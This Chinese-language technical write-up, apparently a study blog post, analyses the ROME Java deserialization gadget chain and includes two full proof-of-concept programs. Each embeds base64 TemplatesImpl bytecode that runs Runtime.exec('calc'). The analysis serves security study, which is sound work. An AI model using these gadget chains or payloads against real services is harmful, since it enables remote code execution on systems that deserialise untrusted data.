rome链

java_Rome链

Rome主要是用于解析RSS与Atom元数据的框架

1
2
RSS:RSS 是一种用于发布和订阅网站内容的 XML 格式。它允许网站所有者将更新的内容以结构化的方式提供给订阅者。通过使用 RSS,用户可以通过 RSS 阅读器或其他应用程序来获取网站的最新文章、新闻、博客等内容,而无需直接访问网站。
Atom:Atom 同样是一种用于发布和订阅网站内容的 XML 格式。它基于更严格和一致的标准,并提供了更灵活的数据模型,使其适用于各种类型的内容发布和分发。Atom 提供了更多的元数据和扩展性,可以支持更复杂的内容结构。类似于 RSS,用户可以通过 Atom 阅读器或其他应用程序来订阅并读取网站的内容。

环境

rome:rome:1.0

JDK 1.8.0_192

ObjectBean.toString

在ysoserial中,⽤到了com.sun.syndication.feed.impl.ObjectBean类。在反序列化过程中调⽤了它的toString⽅法

1
2
3
public String toString() {
return this._toStringBean.toString();
}

this._toStringBean可通过两个构造函数控制

1
2
3
4
5
6
7
8
9
public ObjectBean(Class beanClass, Object obj) {
this(beanClass, obj, (Set)null);
}

public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}

继续看ToStringBean.toString⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix);
}

⽅法最后调⽤了另⼀个toString⽅法,截取关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}

其中存在Method.invoke可执⾏⽅法,分析其中的变量是否可控来执⾏任意⽅法。

BeanIntrospector.getPropertyDescriptors

PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);是获取beanClass的所有getter方法,而后通过反射调用这个getter方法

1
2
3
4
5
6
7
8
9
public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}

return descriptors;
}

这⾥的_introspected默认为HashMap对象

1
private static final Map _introspected = new HashMap();

⾸先会去获取HashMap中键对应的值,⾸次获取descriptors变量为null,会进⼊if语句。if语句会调⽤getPDs⽅法

1
2
3
4
5
6
7
8
9
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
Method[] methods = klass.getMethods();
Map getters = getPDs(methods, false);
Map setters = getPDs(methods, true);
List pds = merge(getters, setters);
PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
pds.toArray(array);
return array;
}

这个⽅法的⼤体逻辑就是获取这个Class的getter和setter⽅法。
最后存进HashMap中,键为这个Class类,值为这个Class类的 getter和setter⽅法。
最后在ToStringBean.toString(String prefix)⽅法遍历这个HashMap元素的时候,在第⼆个if语句中,会调⽤遍历出的⽅法
思路:尝试执⾏TemplatesImpl.getOutputProperties⽅法来加载字节码

怎么触发tostring是个问题,就想到cc5的链子了

手搓poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class rome {
public static void main(String[] args) throws Exception {
TemplatesImpl impl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
"L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
"cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
"ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
"ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
"QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
"VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
"L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
"ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
"cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
"AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
"AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
"AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
setFieldValue(impl,"_name","baicany");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl,"_class",null);
BadAttributeValueExpException bad= new BadAttributeValueExpException(null);
ObjectBean bean = new ObjectBean(Templates.class, impl);
setFieldValue(bad,"val",bean);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("rome.txt"));
outputStream.writeObject(bad);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("rome.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

为什么哪里是Templates.class
beanClass和obj两个属性都是可控的,我们再看看Templates接口,它只有一个getter方法,也就是getOutputProperties()

利用链

1
2
3
4
5
BadAttributeValueExpException.readObject->
ObjectBean.tostring->
ToStringBean.tostring->
TemplatesImpl.getOutputProperties->
...

ysoserial中,选取的是HashMap.readObject作为反序列化的起点

这⾥的key是存⼊HashMap的键,可控 ysoserial选择调⽤ObjectBean.hashCode()⽅法 那么需要准备⼀个HashMap对象,存⼊⼀个键为ObjectBean对象的键值对 跟进ObjectBean.hashCode()⽅法

1
2
3
4
5
6
7
8
HashMap.readObject()->
ObjectBean.hashCode()->
EqualsBean.beanHashCode()->
ObjectBean.tostring()->
ToStringBean.tostring()->
ToStringBean.tostring()->
TemplatesImpl.getOutputProperties()->
....

hashmap之前就说过了,跟进ObjectBean的hashcode

1
2
3
public int hashCode() {
return this._equalsBean.beanHashCode();
}

继续

1
2
public int beanHashCode() {
return this._obj.toString().hashCode();

这里equalsBean和刚刚那条链子一样的

只是

1
2
3
4
5
6
7
8
public EqualsBean(Class beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this._beanClass = beanClass;
this._obj = obj;
}
}

所以套了2层

写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class rome {
public static void main(String[] args) throws Exception {
TemplatesImpl impl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
"L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
"cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
"ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
"ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
"QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
"VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
"L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
"ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
"cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
"AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
"AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
"AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
setFieldValue(impl,"_name","baicany");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl,"_class",null);
ObjectBean bean =new ObjectBean(Templates.class,impl);
ObjectBean Bean = new ObjectBean(ObjectBean.class,bean);
HashMap map= new HashMap();
map.put(Bean,"baicany");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("rome.txt"));
outputStream.writeObject(map);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("rome.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}